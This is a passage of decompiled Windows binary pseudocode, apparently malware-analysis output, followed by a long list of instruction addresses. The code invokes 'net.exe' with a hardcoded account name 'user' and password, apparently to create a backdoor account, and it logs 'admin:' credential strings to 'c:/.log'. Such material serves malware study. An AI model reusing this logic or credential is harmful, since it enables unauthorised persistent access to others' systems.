																__eflags = _t1468 - _t2091 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L419;
																} else {
																	goto L357;
																}
															}
														}
													} else {
														_v180 = 0x17a4f8;
														_t1472 = E000DA3B6(0x17a4f8);
														_t2594 = _t2582 + 4;
														__eflags = _t1472;
														if(__eflags != 0) {
															E000D7281(_t2061, _t2119,  &_v68, _t2476, _t2507, _t1472);
															_t2594 = _t2594 + 4;
														}
														_t2595 = _t2594 - 8;
														_v32 = 9;
														E00064C00( &_v444, __eflags, "c:/.log", 0xc);
														_v32 = 0xb;
														_t2519 = _v108;
														_v84 = 0;
														_v80 = 0xf;
														_v100 = 0;
														_v160 = _t2476 | 0x00000004;
														__eflags = _t2519;
														if(_t2519 != 0) {
															__eflags = _v104 - 8;
															_t1496 =  >=  ? _v124 :  &_v124;
															_t2521 =  >=  ? _v124 :  &_v124;
															_push(L000ABB20(_t2061,  &_v444));
															_push( &_v100);
															_push(( >=  ? _v124 :  &_v124) + _t2519 * 2);
															_push( >=  ? _v124 :  &_v124);
															E000AB400(_t2061, ( >=  ? _v124 :  &_v124) + _t2519 * 2,  >=  ? _v124 :  &_v124);
															_t2595 = _t2595 + 0x10;
														}
														_v32 = 0xa;
														_t2476 = _v172 & 0xfffffffb | 0x00000002;
														_v132 = _t2476;
														_v32 = 0xc;
														_t1474 = E00081790( &_v444,  &_v100, 0x26, 0x22);
														_v32 = 0xa;
														_t2589 = _t2595 + 8;
														_t2392 = _v80;
														_t2507 = _t1474;
														__eflags = _t2392 - 0x10;
														if(_t2392 < 0x10) {
															L352:
															_v84 = 0;
															_v80 = 0xf;
															_v100 = 0;
															_t1475 = E0006C590(_t2507, " : ");
															__eflags = _v48 - 0x10;
															_t2127 =  >=  ? _v68 :  &_v68;
															E0006DBF0(_t2061, E000739C0(_t1475,  >=  ? _v68 :  &_v68, _v52));
															 *((intOrPtr*)(_t2554 +  *((intOrPtr*)(_v444 + 4)) - 0x1a0)) = 0x13efc4;
															_t1126 = _v444 + 4; // 0x656c6946
															_t1127 =  *_t1126 - 0x68; // 0x656c68de
															 *((intOrPtr*)(_t2554 +  *_t1126 - 0x1a4)) = _t1127;
															E00065800( &_v440);
															_t1132 = _v444 + 4; // 0x656c6946
															 *((intOrPtr*)(_t2554 +  *_t1132 - 0x1a0)) = 0x13ae84;
															_t1136 = _v444 + 4; // 0x153fb8
															_t1137 =  *_t1136 - 8; // 0x153fb0
															 *((intOrPtr*)(_t2554 +  *_t1136 - 0x1a4)) = _t1137;
															_v32 = 0xd;
															_v340 = 0x13ac70;
															E000D9E03( &_v340);
															_v32 = 0xe;
															_t1489 = E000DA3DB(0x17a4f8);
															_t2582 = _t2589 + 0x20;
															__eflags = _t1489;
															if(_t1489 != 0) {
																E000D7281(_t2061, _t2130, _t2392, _t2476, _t2507, _t1489);
																_t2582 = _t2582 + 4;
															}
															goto L354;
														} else {
															_t2131 = _v100;
															_t2392 =  &(_t2392->nLength);
															_t1491 = _t2131;
															__eflags = _t2392 - 0x1000;
															if(_t2392 < 0x1000) {
																L351:
																_push(_t2392);
																E000ED2D0(_t2131);
																_t2589 = _t2589 + 8;
																goto L352;
															} else {
																_t2091 =  *(_t2131 - 4);
																_t2382 = _t2392 + 0x23;
																__eflags = _t1491 - _t2091 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	L419:
																	_t1383 = E0010F44B(_t2061, _t2091, _t2382, _t2476, __eflags);
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	_push(_t2507);
																	_t2511 = _t2091;
																	_t2092 =  *(_t2511 + 0x1c);
																	__eflags = _t2092 - 0x10;
																	if(_t2092 < 0x10) {
																		L424:
																		 *(_t2511 + 0x18) = 0;
																		 *(_t2511 + 0x1c) = 0xf;
																		 *((char*)(_t2511 + 8)) = 0;
																		return _t1383;
																	} else {
																		_t1384 =  *((intOrPtr*)(_t2511 + 8));
																		_t2093 =  &(_t2092->nLength);
																		__eflags = _t2093 - 0x1000;
																		if(_t2093 < 0x1000) {
																			L423:
																			_push(_t2093);
																			_t1383 = E000ED2D0(_t1384);
																			goto L424;
																		} else {
																			_t2385 =  *((intOrPtr*)(_t1384 - 4));
																			_t2093 =  &(_t2093[8]);
																			__eflags = _t1384 - _t2385 + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				E0010F44B(_t2061, _t2093, _t2385, _t2476, __eflags);
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				_push(_t2554);
																				_push(_t2093);
																				_push(_t2511);
																				E00069370(_t2061, _t2093, _t2476, _t2093, _t2589 - 4,  *( *_t2093),  *_t2093);
																				_push(0x38);
																				return E000ED2D0( *_t2093);
																			} else {
																				_t1384 = _t2385;
																				goto L423;
																			}
																		}
																	}
																} else {
																	goto L351;
																}
															}
														}
													}
												}
												goto L427;
												L407:
												_t1360 = _v164 + 0x18;
												_v164 = _t1360;
												__eflags = _t1360 - _v156;
											} while (_t1360 != _v156);
											_t2078 = _v204;
											_t1360 = _v208;
											goto L409;
										}
									} else {
										goto L64;
									}
								}
							}
						}
					} else {
						_v1008 = GetLastError();
						E0006DCB0(_t2061, _t2064,  &_v1008, _t2468);
						L210:
						_t1760 = _v980;
						__eflags = _t1760;
						if(_t1760 != 0) {
							CloseHandle(_t1760);
						}
						 *[fs:0x0] = _v36;
						__eflags = _v52 ^ _t2553;
						return E000ECED8(_v52 ^ _t2553);
					}
				} else {
					_v208 = 0x17a3a0;
					E00095250( &_v228);
					_v16 = 0;
					_t2342 = _v224;
					_t1970 = _v228;
					_t2659 = _t1970 - _t2342;
					_v216 = _t2342;
					while(1) {
						_v184 = _t1970;
						if(_t2659 == 0) {
							E000674C0(_t2060,  &_v228, _t2468);
							 *[fs:0x0] = _v24;
							__eflags = _v32 ^ _t2551;
							return E000ECED8(_v32 ^ _t2551);
						} else {
							_t2382 = 0x7ffffffe;
							_t2468 =  *(_t1970 + 0x10);
							_v40 = 0;
							_v36 = 0;
							_v180 = _t1970;
							if( *((intOrPtr*)(_t1970 + 0x14)) >= 8) {
								_v180 = _t1970->nLength;
							}
						}
						if(_t2468 >= 8) {
							_t2547 = _t2468 | 0x00000007;
							__eflags = _t2547 - 0x7ffffffe;
							_t2503 =  >  ? _t2382 : _t2547;
							_t1973 =  &(_t2503->nLength);
							_t2349 = _t1973 + _t1973;
							__eflags = _t1973 - 0x7fffffff;
							if(_t1973 <= 0x7fffffff) {
								__eflags = _t2349 - 0x1000;
								if(_t2349 < 0x1000) {
									__eflags = _t2349;
									if(__eflags == 0) {
										_t2350 = 0;
										__eflags = 0;
									} else {
										_push(_t2349);
										_t2055 = E000ECF08(_t2503, __eflags);
										_t2565 = _t2565 + 4;
										_t2350 = _t2055;
									}
									goto L15;
								} else {
									goto L10;
								}
							} else {
								_t2349 = _t2349 | 0xffffffff;
								L10:
								_t2056 = _t2349 + 0x23;
								__eflags = _t2056 - _t2349;
								_t2064 = 0xffffffff;
								_t2057 =  <=  ? 0xffffffff : _t2056;
								_push( <=  ? 0xffffffff : _t2056);
								_t2058 = E000ECF08(_t2503, _t2056 - _t2349);
								_t2565 = _t2565 + 4;
								__eflags = _t2058;
								if(__eflags == 0) {
									goto L58;
								} else {
									_t2350 = _t2058 + 0x00000023 & 0xffffffe0;
									 *(_t2350 - 4) = _t2058;
									L15:
									_v56 = _t2350;
									E001048E0(_t2350, _v180, 2 + _t2468 * 2);
									_t2565 = _t2565 + 0xc;
									_v36 = _t2503;
									goto L16;
								}
							}
						} else {
							asm("movups xmm0, [ecx]");
							_v36 = 7;
							asm("movups [ebp-0x2c], xmm0");
							L16:
							_v40 = _t2468;
							_v136 = 0;
							_v132 = 7;
							_v152 = 0;
							_v16 = 2;
							_push(7);
							_v64 = 0;
							_v60 = 0xf;
							_v80 = 0;
							E00068B90( &_v80, _t2382, _t2503, "net.exe");
							_v16 = 3;
							_t2503 = _v64;
							if(_t2503 != 0) {
								_t2502 =  >=  ? _v80 :  &_v80;
								_t2468 = ( >=  ? _v80 :  &_v80) + _t2503;
								_t2503 =  >=  ? _v80 :  &_v80;
								_push(L000ABB20(_t2060,  &_v80));
								_push( &_v152);
								_push(_t2468);
								_push(_t2503);
								E000AB300(_t2060, _t2468, _t2503);
								_t2565 = _t2565 + 0x10;
							}
							_v16 = 2;
							_t2448 = _v60;
							if(_t2448 < 0x10) {
								L22:
								_v64 = 0;
								_v60 = 0xf;
								_v80 = 0;
								_v16 = 4;
								L00057930(_t2060,  &_v204, _t2468);
								_v16 = 5;
								_push( &_v204);
								E00057BC0(_t2060,  &_v128,  &_v152, _t2468);
								_v16 = 4;
								_t2651 = _t2565 + 4;
								_t2354 = _v204;
								if(_t2354 == 0) {
									L26:
									_push(0x1522b0);
									_v16 = 6;
									_push( &_v212);
									_push(L"HuHuHUHoHo283283@dJD");
									_push( &_v56);
									_push(L"user");
									E00084F80( &_v256,  &_v128, _t2468, _t2503);
									_t2565 = _t2651 + 0x14;
									_v16 = 7;
									_t1984 = _v256;
									if(_t1984 != 0 && _t1984 != 0xffffffff) {
										E000565E0(_t2060,  &_v256,  &_v128);
									}
									E000564C0( &_v256);
									_v16 = 4;
									_t2451 = _v108;
									if(_t2451 < 8) {
										L33:
										_v16 = 1;
										_t2452 = _v132;
										_v112 = 0;
										_v108 = 7;
										_v128 = 0;
										if(_t2452 < 8) {
											L37:
											_t2453 = _v212;
											if(_t2453 == 0) {
												L51:
												_v16 = 0;
												_t2454 = _v36;
												if(_t2454 < 8) {
													L55:
													_t1970 = _v184 + 0x18;
													_t2659 = _t1970 - _v216;
													continue;
												} else {
													_t2357 = _v56;
													_t2455 = 2 + _t2454 * 2;
													_t1988 = _t2357;
													if(_t2455 < 0x1000) {
														L54:
														_push(_t2455);
														E000ED2D0(_t2357);
														_t2565 = _t2565 + 8;
														goto L55;
													} else {
														_t2064 =  *((intOrPtr*)(_t2357 - 4));
														_t2382 = _t2455 + 0x23;
														if(_t1988 - _t2064 + 0xfffffffc > 0x1f) {
															goto L58;
														} else {
															goto L54;
														}
													}
												}
											} else {
												 *((intOrPtr*)( *_v208 + 8))( &_v176, _t2453);
												_v16 = 8;
												_t2360 =  >=  ? _v56 :  &_v56;
												_t2458 =  >=  ? _v56 :  &_v56;
												_push( >=  ? _v56 :  &_v56);
												E000742F0( &_v104,  >=  ? _v56 :  &_v56, ( >=  ? _v56 :  &_v56) + _v40 * 2);
												_t2565 = _t2565 + 8;
												_v16 = 9;
												if( *0x17a480 != 0) {
													_v180 = 0x17a4f8;
													_t2005 = E000DA3B6(0x17a4f8);
													_t2652 = _t2565 + 4;
													_t2682 = _t2005;
													if(_t2005 != 0) {
														E000D7281(_t2060,  &_v104, _t2458, _t2468, _t2503, _t2005);
														_t2652 = _t2652 + 4;
													}
													_v16 = 0xa;
													E00064C00( &_v436, _t2682, "c:/.log", 0xc);
													_v16 = 0xb;
													_t2008 = E0006C590( &_v436, "admin:");
													_t2366 =  >=  ? _v104 :  &_v104;
													_t2010 = E0006C590(E000739C0(_t2008,  >=  ? _v104 :  &_v104, _v88), " : ");
													_t2368 =  >=  ? _v176 :  &_v176;
													E0006DBF0(_t2060, E000739C0(_t2010,  >=  ? _v176 :  &_v176, _v160));
													 *((intOrPtr*)(_t2551 +  *((intOrPtr*)(_v436 + 4)) - 0x1a8)) = 0x13efc4;
													 *((intOrPtr*)(_t2551 +  *((intOrPtr*)(_v436 + 4)) - 0x1ac)) =  *((intOrPtr*)(_v436 + 4)) - 0x68;
													E00065800( &_v432);
													 *((intOrPtr*)(_t2551 +  *((intOrPtr*)(_v436 + 4)) - 0x1a8)) = 0x13ae84;
													_t2371 =  *((intOrPtr*)(_v436 + 4));
													 *((intOrPtr*)(_t2551 +  *((intOrPtr*)(_v436 + 4)) - 0x1ac)) =  *((intOrPtr*)(_v436 + 4)) - 8;
													_v16 = 0xc;
													_v332 = 0x13ac70;
													E000D9E03( &_v332);
													_v16 = 0xd;
													_t2024 = E000DA3DB(0x17a4f8);
													_t2565 = _t2652 - 8 + 0x34;
													if(_t2024 != 0) {
														E000D7281(_t2060, _t2371, _t2458, _t2468, _t2503, _t2024);
														_t2565 = _t2565 + 4;
													}
												}
												_v16 = 8;
												_t2459 = _v84;
												if(_t2459 < 0x10) {
													L47:
													_v16 = 1;
													_t2460 = _v156;
													_v88 = 0;
													_v84 = 0xf;
													_v104 = 0;
													if(_t2460 < 0x10) {
														goto L51;
													} else {
														_t2362 = _v176;
														_t2461 =  &(_t2460->nLength);
														_t1997 = _t2362;
														if(_t2461 < 0x1000) {
															L50:
															_push(_t2461);
															E000ED2D0(_t2362);
															_t2565 = _t2565 + 8;
															goto L51;
														} else {
															_t2064 =  *((intOrPtr*)(_t2362 - 4));
															_t2382 =  &(_t2461[8]);
															if(_t1997 - _t2064 + 0xfffffffc > 0x1f) {
																goto L58;
															} else {
																goto L50;
															}
														}
													}
												} else {
													_t2363 = _v104;
													_t2462 =  &(_t2459->nLength);
													_t2001 = _t2363;
													if(_t2462 < 0x1000) {
														L46:
														_push(_t2462);
														E000ED2D0(_t2363);
														_t2565 = _t2565 + 8;
														goto L47;
													} else {
														_t2064 =  *((intOrPtr*)(_t2363 - 4));
														_t2382 = _t2462 + 0x23;
														if(_t2001 - _t2064 + 0xfffffffc > 0x1f) {
															goto L58;
														} else {
															goto L46;
														}
													}
												}
											}
										} else {
											_t2372 = _v152;
											_t2463 = 2 + _t2452 * 2;
											_t2027 = _t2372;
											if(_t2463 < 0x1000) {
												L36:
												_push(_t2463);
												E000ED2D0(_t2372);
												_t2565 = _t2565 + 8;
												goto L37;
											} else {
												_t2064 =  *((intOrPtr*)(_t2372 - 4));
												_t2382 = _t2463 + 0x23;
												if(_t2027 - _t2064 + 0xfffffffc > 0x1f) {
													goto L58;
												} else {
													goto L36;
												}
											}
										}
									} else {
										_t2373 = _v128;
										_t2464 = 2 + _t2451 * 2;
										_t2031 = _t2373;
										if(_t2464 < 0x1000) {
											L32:
											_push(_t2464);
											E000ED2D0(_t2373);
											_t2565 = _t2565 + 8;
											goto L33;
										} else {
											_t2064 =  *((intOrPtr*)(_t2373 - 4));
											_t2382 = _t2464 + 0x23;
											if(_t2031 - _t2064 + 0xfffffffc > 0x1f) {
												goto L58;
											} else {
												goto L32;
											}
										}
									}
								} else {
									_push(_t2354);
									E000709A0(_t2060, _t2354, _v200);
									_t2503 = _v204;
									_t2565 = _t2651 + 4;
									_t2382 = 0x2aaaaaab * (_v196 - _t2503) >> 0x20 >> 2;
									_t2044 = _t2503;
									_t2378 = (_t2382 >> 0x1f) + _t2382 + ((_t2382 >> 0x1f) + _t2382) * 2 << 3;
									if(_t2378 < 0x1000) {
										L25:
										_push(_t2378);
										E000ED2D0(_t2503);
										_t2651 = _t2565 + 8;
										_v204 = 0;
										_v200 = 0;
										_v196 = 0;
										goto L26;
									} else {
										_t2503 =  *((intOrPtr*)(_t2503 - 4));
										_t2064 = _t2378 + 0x23;
										if(_t2044 - _t2503 + 0xfffffffc > 0x1f) {
											goto L58;
										} else {
											goto L25;
										}
									}
								}
							} else {
								_t2379 = _v80;
								_t2467 =  &(_t2448->nLength);
								_t2048 = _t2379;
								if(_t2467 < 0x1000) {
									L21:
									_push(_t2467);
									E000ED2D0(_t2379);
									_t2565 = _t2565 + 8;
									goto L22;
								} else {
									_t2064 =  *((intOrPtr*)(_t2379 - 4));
									_t2382 = _t2467 + 0x23;
									if(_t2048 - _t2064 + 0xfffffffc > 0x1f) {
										goto L58;
									} else {
										goto L21;
									}
								}
							}
						}
						goto L427;
					}
				}
				L427:
			}

0x0005dbf0
0x0005dbf0
0x0005dbf1
0x0005dbf9
0x0005dc00
0x0005dc04
0x0005dc06
0x0005dc08
0x0005dc13
0x0005dc14
0x0005dc1b
0x0005dc20
0x0005dc22
0x0005dc25
0x0005dc26
0x0005dc27
0x0005dc2b
0x0005dc40
0x0005dc4a
0x0005dc4f
0x0005dc54
0x0005e24f
0x0005e254
0x0005e254
0x0005e259
0x0005e25a
0x0005e25b
0x0005e25c
0x0005e25d
0x0005e25e
0x0005e25f
0x0005e260
0x0005e261
0x0005e269
0x0005e26c
0x0005e270
0x0005e274
0x0005e276
0x0005e278
0x0005e283
0x0005e284
0x0005e285
0x0005e286
0x0005e28c
0x0005e291
0x0005e293
0x0005e296
0x0005e297
0x0005e298
0x0005e29c
0x0005e2a2
0x0005e2a5
0x0005e2af
0x0005e2bd
0x0005e2c3
0x0005e2c9
0x0005e2d0
0x0005e2d2
0x0005e2f0
0x0005e2f4
0x0005e2fb
0x0005e38b
0x0005e399
0x0005e3a5
0x0005e3aa
0x0005e3ae
0x0005e3b4
0x0005e3b6
0x0005e3bc
0x0005e3c2
0x0005e3c2
0x0005e3c8
0x0005e3ca
0x00000000
0x00000000
0x0005e3d0
0x0005e3d2
0x0005e3d8
0x0005e3de
0x0005e792
0x0005e798
0x00000000
0x0005e3e4
0x0005e3f3
0x0005e3fd
0x0005e402
0x0005e405
0x0005e407
0x00000000
0x0005e40d
0x0005e40d
0x0005e417
0x0005e41a
0x0005e41a
0x0005e480
0x0005e486
0x0005e48b
0x0005e492
0x0005e499
0x0005e49d
0x0005e4a4
0x0005e4ab
0x0005e4ae
0x0005e4b5
0x0005e4b8
0x0005e4bd
0x0005e4c1
0x0005e4c4
0x0005e4c6
0x0005e4c8
0x0005e4cf
0x0005e4d3
0x0005e4d5
0x0005e4dc
0x0005e4e2
0x0005e4eb
0x0005e4ef
0x0005e4f0
0x0005e4f6
0x0005e4f7
0x0005e4fc
0x0005e4fc
0x0005e4ff
0x0005e503
0x0005e506
0x0005e509
0x0005e537
0x0005e537
0x0005e53e
0x0005e545
0x0005e54f
0x0005e553
0x0005e55e
0x0005e562
0x0005e56c
0x0005e571
0x0005e575
0x0005e578
0x0005e57e
0x0005e580
0x0005e5fc
0x0005e602
0x0005e60c
0x0005e611
0x0005e61c
0x0005e620
0x0005e621
0x0005e62e
0x0005e633
0x0005e636
0x0005e63a
0x0005e640
0x0005e643
0x0005e649
0x0005e64c
0x0005e683
0x0005e689
0x0005e690
0x0005e695
0x0005e699
0x0005e69f
0x0005e6a2
0x0005e6d9
0x0005e6db
0x0005e6df
0x0005e6e2
0x0005e6ec
0x0005e6f6
0x0005e6fd
0x0005e700
0x0005e734
0x0005e736
0x0005e73a
0x0005e740
0x0005e747
0x0005e74e
0x0005e752
0x0005e755
0x0005e786
0x0005e786
0x0005e78c
0x00000000
0x0005e757
0x0005e757
0x0005e75d
0x0005e75e
0x0005e760
0x0005e766
0x0005e77c
0x0005e77c
0x0005e77e
0x0005e783
0x00000000
0x0005e768
0x0005e768
0x0005e76b
0x0005e773
0x0005e776
0x00000000
0x00000000
0x00000000
0x00000000
0x0005e776
0x0005e766
0x0005e702
0x0005e702
0x0005e705
0x0005e70c
0x0005e70e
0x0005e714
0x0005e72a
0x0005e72a
0x0005e72c
0x0005e731
0x00000000
0x0005e716
0x0005e716
0x0005e719
0x0005e721
0x0005e724
0x00000000
0x00000000
0x00000000
0x00000000
0x0005e724
0x0005e714
0x0005e6a4
0x0005e6a4
0x0005e6aa
0x0005e6b1
0x0005e6b3
0x0005e6b9
0x0005e6cf
0x0005e6cf
0x0005e6d1
0x0005e6d6
0x00000000
0x0005e6bb
0x0005e6bb
0x0005e6be
0x0005e6c6
0x0005e6c9
0x00000000
0x00000000
0x00000000
0x00000000
0x0005e6c9
0x0005e6b9
0x0005e64e
0x0005e64e
0x0005e654
0x0005e65b
0x0005e65d
0x0005e663
0x0005e679
0x0005e679
0x0005e67b
0x0005e680
0x00000000
0x0005e665
0x0005e665
0x0005e668
0x0005e670
0x0005e673
0x00000000
0x00000000
0x00000000
0x00000000
0x0005e673
0x0005e663
0x0005e582
0x0005e588
0x0005e589
0x0005e599
0x0005e59f
0x0005e5a6
0x0005e5b3
0x0005e5b5
0x0005e5b8
0x0005e5be
0x0005e5d4
0x0005e5d4
0x0005e5d6
0x0005e5db
0x0005e5de
0x0005e5e8
0x0005e5f2
0x00000000
0x0005e5c0
0x0005e5c0
0x0005e5c3
0x0005e5cb
0x0005e5ce
0x00000000
0x00000000
0x00000000
0x00000000
0x0005e5ce
0x0005e5be
0x0005e50b
0x0005e50b
0x0005e50e
0x0005e50f
0x0005e511
0x0005e517
0x0005e52d
0x0005e52d
0x0005e52f
0x0005e534
0x00000000
0x0005e519
0x0005e519
0x0005e51c
0x0005e524
0x0005e527
0x00000000
0x00000000
0x00000000
0x00000000
0x0005e527
0x0005e517
0x00000000
0x0005e420
0x0005e425
0x0005e428
0x0005e42d
0x0005e441
0x0005e443
0x0005e445
0x0005e44b
0x0005e44d
0x00000000
0x0005e44f
0x0005e44f
0x0005e452
0x0005e45c
0x0005e466
0x0005e46d
0x0005e46f
0x0005e471
0x0005e471
0x0005e479
0x0005e47b
0x0005e47b
0x0005e46f
0x00000000
0x0005e44d
0x0005e407
0x00000000
0x0005e3de
0x0005e7a0
0x0005e7a4
0x0005e7a6
0x0005e7e2
0x0005e7e2
0x0005e7e7
0x0005e7f3
0x0005e7fd
0x0005e804
0x0005e80a
0x0005e81a
0x0005e824
0x0005e830
0x0005e83a
0x0005e844
0x0005e84e
0x0005e858
0x0005e85a
0x0005e861
0x0005e865
0x0005e875
0x0005e87a
0x0005e87b
0x0005e87d
0x0005e882
0x0005e897
0x0005e89e
0x0005e8a6
0x0005e8b1
0x0005e8c0
0x0005e8ca
0x0005e8d4
0x0005e8de
0x0005e8ea
0x0005e8fa
0x0005e8fc
0x0005e901
0x0005e904
0x0005e90a
0x0005e914
0x0005e91b
0x0005e922
0x0005e92c
0x0005e936
0x0005e93d
0x0005e947
0x0005e951
0x0005e95b
0x0005e962
0x0005e964
0x0005e968
0x0005e973
0x0005e97e
0x0005e984
0x0005e986
0x0005e989
0x0005e996
0x0005e99b
0x0005e9a0
0x0005e9a3
0x0005e9a5
0x0005e9a8
0x0005e9ad
0x0005e9ad
0x0005e9b6
0x0005e9bd
0x0005e9c9
0x0005e9d0
0x0005e9d5
0x0005e9d8
0x0005e9da
0x0005e9dd
0x0005e9e2
0x0005e9e2
0x0005e9eb
0x0005e9f2
0x0005e9f8
0x0005e9fd
0x0005ea04
0x0005ea09
0x0005ea0c
0x0005ea0e
0x0005ea11
0x0005ea16
0x0005ea16
0x0005ea19
0x0005ea1b
0x0005ea25
0x0005ea2b
0x0005ea37
0x0005ea48
0x0005ea4d
0x0005ea55
0x0005ea58
0x0005ea5b
0x0005ea5d
0x0005ea5f
0x0005ea60
0x0005ea60
0x0005ea65
0x0005ea70
0x0005ea70
0x0005ea70
0x0005ea77
0x00000000
0x00000000
0x0005ea85
0x0005ea8a
0x0005ea8d
0x0005ea8f
0x00000000
0x0005ea91
0x0005ea91
0x00000000
0x0005ea91
0x00000000
0x0005ea8f
0x0005ea94
0x0005ea9a
0x0005ea9c
0x0005ea9e
0x0005eaa1
0x0005eaa6
0x0005eaa6
0x0005eaa9
0x0005eaad
0x0005eaba
0x0005eac0
0x0005eac5
0x0005eac8
0x0005eaca
0x0005eacd
0x0005ead2
0x0005ead2
0x0005ead6
0x0005eae4
0x0005eaf6
0x0005eb03
0x0005eb0a
0x0005eb14
0x0005eb17
0x0005eb1d
0x0005eb23
0x0005eb2c
0x0005eb2f
0x0005eb35
0x0005eb37
0x0005eb5d
0x0005eb5d
0x0005eb5d
0x0005eb5f
0x0005eb5f
0x0005eb65
0x0005eb67
0x00000000
0x00000000
0x0005eb6d
0x0005eb77
0x0005eb79
0x0005eb7c
0x0005eb82
0x0005eb8f
0x0005eb93
0x0005eb98
0x0005eb9b
0x0005eba1
0x0005eba4
0x0005eba7
0x0005ebab
0x0005ebae
0x0005ebb4
0x0005ebb6
0x00000000
0x0005ebbc
0x0005ebbc
0x0005ebc0
0x0005ebc5
0x0005ebcf
0x0005ebd6
0x0005ebdd
0x0005ebe4
0x0005ebeb
0x0005ebef
0x0005ebf5
0x0005ebf9
0x0005ebff
0x0005ec1c
0x0005ec1d
0x0005ec1e
0x0005ec24
0x0005ec29
0x0005ec2f
0x0005ec01
0x0005ec07
0x0005ec09
0x0005ec0b
0x0005ec0e
0x0005ec0e
0x0005ec35
0x0005ec39
0x0005ec3b
0x0005ec3d
0x0005ec47
0x0005ec4e
0x0005ec5e
0x0005ec64
0x0005ec69
0x0005ec6c
0x0005ec73
0x0005ec7b
0x0005ec80
0x0005ec83
0x0005ec86
0x0005ec88
0x0005ec8a
0x0005ec8c
0x0005ec8e
0x0005ec91
0x0005ec96
0x0005ec99
0x0005ec99
0x0005ec9c
0x0005ec9c
0x0005eca5
0x0005ecaa
0x0005ecb0
0x0005ecb5
0x0005ecb5
0x0005ecbe
0x0005ecc4
0x00000000
0x0005ecc4
0x00000000
0x0005ebb6
0x0005ecca
0x0005ecd8
0x0005ecdd
0x0005ece9
0x0005eceb
0x0005ecfd
0x0005ed03
0x0005ed16
0x0005ed1c
0x0005ed23
0x0005ed26
0x0005ed2c
0x0005ed33
0x0005ed38
0x0005ed3b
0x0005ed45
0x0005ed54
0x0005ed5a
0x0005ed5e
0x0005ed66
0x0005ed6e
0x0005ed71
0x0005ed7b
0x0005ed83
0x0005ed83
0x0005ed83
0x0005ed89
0x0005ed90
0x0005ed90
0x0005ed9d
0x0005eda2
0x0005eda9
0x0005edb0
0x0005edb9
0x0005edbf
0x0005edc3
0x0005edc8
0x0005edca
0x0005edcf
0x0005edd1
0x0005edd6
0x0005edde
0x0005edde
0x0005edd6
0x0005edcf
0x0005ede4
0x0005ede8
0x0005edef
0x00000000
0x00000000
0x0005edf5
0x0005edfb
0x0005edfd
0x00000000
0x0005ee03
0x0005ee09
0x0005ee0c
0x0005ee13
0x0005ee22
0x0005ee27
0x0005ee2e
0x0005ee34
0x0005ee3b
0x0005ee3f
0x0005ee46
0x0005ee48
0x0005ee4e
0x0005ee50
0x0005ee54
0x0005ee56
0x0005ee58
0x0005ee5a
0x0005ee5a
0x0005ee58
0x0005ee50
0x0005ee5c
0x0005ee62
0x0005ee68
0x0005ee68
0x0005ee6a
0x00000000
0x00000000
0x0005ee71
0x0005ee76
0x0005ee76
0x0005ee81
0x0005ee86
0x0005ee8c
0x0005ee8e
0x0005ee94
0x0005ee9a
0x0005eea0
0x0005eea6
0x0005eea6
0x0005eea8
0x00000000
0x00000000
0x0005eeae
0x0005eeb2
0x0005eeb8
0x0005eebb
0x0005eec5
0x0005eecf
0x0005eed6
0x0005eedc
0x0005eede
0x0005eee0
0x0005eee4
0x0005eee6
0x0005eee8
0x0005eee8
0x0005eeea
0x0005eeed
0x0005eef3
0x0005eef9
0x0005eeff
0x0005eefb
0x0005eefb
0x0005eefb
0x0005ef0a
0x0005ef11
0x0005ef12
0x0005ef18
0x0005ef19
0x0005ef1e
0x0005ef1e
0x0005ef23
0x0005ef2d
0x0005ef37
0x0005ef3e
0x0005ef48
0x0005ef4f
0x0005ef55
0x0005ef5f
0x0005ef65
0x0005ef70
0x0005ef7a
0x0005ef85
0x0005ef90
0x0005ef94
0x0005ef9f
0x0005efa3
0x0005efb0
0x0005efb5
0x0005efbb
0x0005efc1
0x0005efc4
0x0005efca
0x0005efcc
0x0005efd4
0x0005efd5
0x0005efeb
0x0005effa
0x0005effe
0x0005f003
0x0005f00d
0x0005f017
0x0005f017
0x0005f027
0x0005f031
0x0005f036
0x0005f03d
0x0005f047
0x0005f04c
0x0005f051
0x0005f052
0x0005f059
0x0005f063
0x0005f068
0x0005f071
0x0005f07c
0x0005f087
0x0005f08e
0x0005f099
0x0005f0a4
0x0005f0b5
0x0005f0bb
0x0005f0c0
0x0005f0cd
0x0005f0d3
0x0005f0d6
0x0005f0dc
0x0005f0dc
0x0005f131
0x0005f135
0x0005f137
0x0005f13f
0x0005f140
0x0005f150
0x0005f156
0x0005f159
0x0005f15d
0x0005f165
0x0005f169
0x0005f169
0x0005f16e
0x0005f174
0x0005f176
0x0005f17a
0x0005f17f
0x0005f185
0x0005f188
0x0005f18a
0x0005f18e
0x0005f193
0x0005f193
0x0005f18a
0x0005f196
0x0005f19b
0x0005f1a1
0x0005f1a3
0x0005f1a7
0x0005f1ac
0x0005f1b2
0x0005f1b2
0x0005f1be
0x0005f1c3
0x0005f1c6
0x0005f1c8
0x0005f1cc
0x0005f1d1
0x0005f1d1
0x0005f1d4
0x0005f1de
0x0005f1e8
0x0005f1ed
0x0005f1f4
0x0005f1ff
0x0005f209
0x0005f20e
0x0005f211
0x0005f213
0x0005f216
0x0005f21b
0x0005f21b
0x0005f221
0x0005f232
0x0005f23d
0x0005f250
0x0005f25e
0x0005f268
0x0005f26c
0x0005f271
0x0005f274
0x0005f276
0x0005f279
0x0005f27e
0x0005f27e
0x0005f281
0x0005f281
0x0005f291
0x0005f2a2
0x0005f2a7
0x0005f2ac
0x0005f2af
0x0005f2b3
0x0005f2b7
0x0005f2b9
0x0005f2b9
0x0005f2c7
0x0005f2d2
0x0005f2dd
0x0005f2e1
0x0005f2f2
0x0005f2f7
0x0005f2fa
0x0005f308
0x0005f30d
0x0005f311
0x0005f315
0x0005f318
0x0005f31a
0x0005f31a
0x0005f32d
0x0005f332
0x0005f335
0x0005f343
0x0005f348
0x0005f34c
0x0005f350
0x0005f353
0x0005f355
0x0005f355
0x0005f371
0x0005f37f
0x0005f38a
0x0005f395
0x0005f399
0x0005f3a4
0x0005f3b5
0x0005f3c6
0x0005f3cb
0x0005f3d9
0x0005f3eb
0x0005f3f0
0x0005f3f3
0x0005f400
0x0005f406
0x0005f411
0x0005f41c
0x0005f420
0x0005f425
0x0005f42b
